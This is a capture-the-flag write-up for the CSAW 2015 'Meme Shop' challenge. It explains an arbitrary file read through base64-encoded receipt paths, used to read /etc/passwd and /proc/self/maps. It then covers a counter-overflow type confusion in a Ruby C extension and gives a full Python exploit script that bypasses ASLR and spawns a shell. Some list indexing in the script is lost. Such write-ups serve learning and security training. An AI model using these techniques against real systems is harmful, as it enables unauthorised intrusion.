CSAW 2015 Meme Shop Statement
Description: only dwn knows what the meme is! pwn this service to find out what only he knows!
dwn: please tell us the meme....
nc 22.214.171.124 1337
First we were prompted with an option menu for memes we could 'buy'.
so... lets see what is on the menu [p]rint receipt from confirmation number [n]ic cage (RARE MEME) [d]erp d[o]ge (OLD MEME, ON SALE) [f]ry (SHUT UP AND LET ME TAKE YOUR MONEY) n[y]an cat [l]ike a sir [m]r skeletal (doot doot) [t]humbs up t[r]ollface.jpg [c]heck out [q]uitMost options would just output a meme.
> t ░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄ ░░░░█░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░▀▀▄ ░░░█░░░▒▒▒▒▒▒░░░░░░░░▒▒▒░░█ ░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░█ ░▀▒▄▄▄▒░█▀▀▀▀▄▄█░░░██▄▄█░░░█ █▒█▒▄░▀▄▄▄▀░░░░░░░░█░░░▒▒▒▒▒█ █▒█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄▒█ ░█▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█ ░░█░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█ ░░░█░░██░░▀█▄▄▄█▄▄█▄████░█ ░░░░█░░░▀▀▄░█░░░█░███████░█ ░░░░░▀▄░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█ ░░░░░░░▀▄▄░▒▒▒▒░░░░░░░░░░█ ░░░░░░░░░░▀▀▄▄░▒▒▒▒▒▒▒▒▒▒░█ ░░░░░░░░░░░░░░▀▄▄▄▄▄░░░░░█Upon
[c]heckoutwe were given an receipt which was a base64 encoded tmp file. We could feed it back through using the
[p]option to print the contents of the receipt which reside in a tmp file.
> c ur receipt is at L3RtcC9tZW1lMjAxNTA5MjItNzIzMS05aGl6OHE= --- b64decoded: /tmp/meme20150922-7231-9hiz8qWe could use this to read any file on the system.
base64('/etc/passwd') => L2V0Yy9wYXNzd2Q= --- > p ok, let me know your order number bro: L2V0Yy9wYXNzd2Q= ok heres ur receipt or w/e root:x:0:0:root:/root:/bin/bash ...I used this information to get the ruby script that was running, the Mememachine C extension, and all the libraries it was using.
The ruby script memeshop.rb
The custom C extension mememachine.so
The value of /proc/sys/kernel/randomize_va_space was '2'.
Reversing the Extension
The functions admeme, addskeletal, and checkout are called within the script but not defined, meaning they must be functions within the Mememachine module.
I noticed a few things when reversing the Mememachine module. When a normal meme was added a structure was made with 8 bytes of blank space, a function pointer to the function
gooder, and 8 more bytes of space. A pointer to this structure was added to a struct array
memerz. The byte
counter that indexed this array was then increased by one. Then the type, 0 for normal or 1 for skeletal, was added to the
types array, and the dword
types_tracker was increased by one.
When a skeletal meme was added, a similar structure to a normal meme was made but with 256 bytes of user controlled values allocated before the function pointer, so the function pointer was at
base+264 in the skeletal meme instead of
base+8 in the normal meme.
Checkout loops through all of the meme pointers in
memerez while referencing the type array for each type, and based on the type it calls the function pointer at
base+8 for normal memes or
base+264 for skeletal memes.
Using this information I determined that we could overflow the
counter variable. So if I added more than 256 memes to the
memerez array, the first meme in the
memerez array would be overwritten with whatever meme we added next. Remember the types_tracker is a dword, so the type will be wrong for the newly created meme in the first position of the
memerez array once we overflow the counter variable.
Once 256 memes have been added to the
memerez array and counter is reset to 0, we add the skeletal meme. The type is still computed as normal so when the jump to the function pointer occurs in the checkout function it calls whatever we placed in within the text area of the skeletal meme. Giving us complete control of the instruction pointer. Now all we have to do is find the correct place to jump!
Writing an Exploit
So to control rip we must:
- Make 256 normal memes, overflowing the counter variable
- Create a skeletal meme
- "A"*8 + struct.pack("<Q", rip) + struct.pack("<Q", param)
- Call checkout [c]
ASLR was enabled along with NX so this was somewhat challenging. To defeat ASLR I used the file read from earlier on
/proc/self/maps to dump all of the memory addresses of the current process. Downloaded the version of libruby that the program was using using the file read from earlier. Then found this awesome gadget in libruby that calls
Setting the function pointer to the
/proc/self/maps plus the offset of this gadget
0x1129f0 was enough to get a shell.
import struct import socket import telnetlib from base64 import b64encode def readuntil(f, delim=' '): data = '' while not data.endswith(delim): data += f.read(1) return data def interact(s): t = telnetlib.Telnet() t.sock = s t.interact() def pa(v): return struct.pack("<I", v) def u(v): return struct.unpack("<I", v) def ap(rip, param): pad = "A"*8 f = struct.pack("<Q", rip) p = struct.pack("<I", param) return b64encode(pad + f + p) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('126.96.36.199', 1337)) f = s.makefile('rw', bufsize=0) #Defeat aslr readuntil(f, 'quit\n') f.write('p\n') f.write(b64encode("/proc/self/maps") + "\n") proc = readuntil(f, "[vsyscall]\n") libraries = proc.split("\n") libruby_entry = libraries libruby_base = int(libruby_entry.split(" ").split("-"), 16) proc_sh = libruby_base + 0x1129f0 #libruby magic address #Fill memerez with 256 normal memes, overflow counter for i in xrange(256): f.write("n\n") #Upload skeletal meme, overwriting function pointers for gooder and badder payload = "m\n" payload += ap(proc_sh, 10) + "\n" f.write(payload) #Trigger the type confusion with checkout trigger = "c\n" f.write(trigger) interact(s)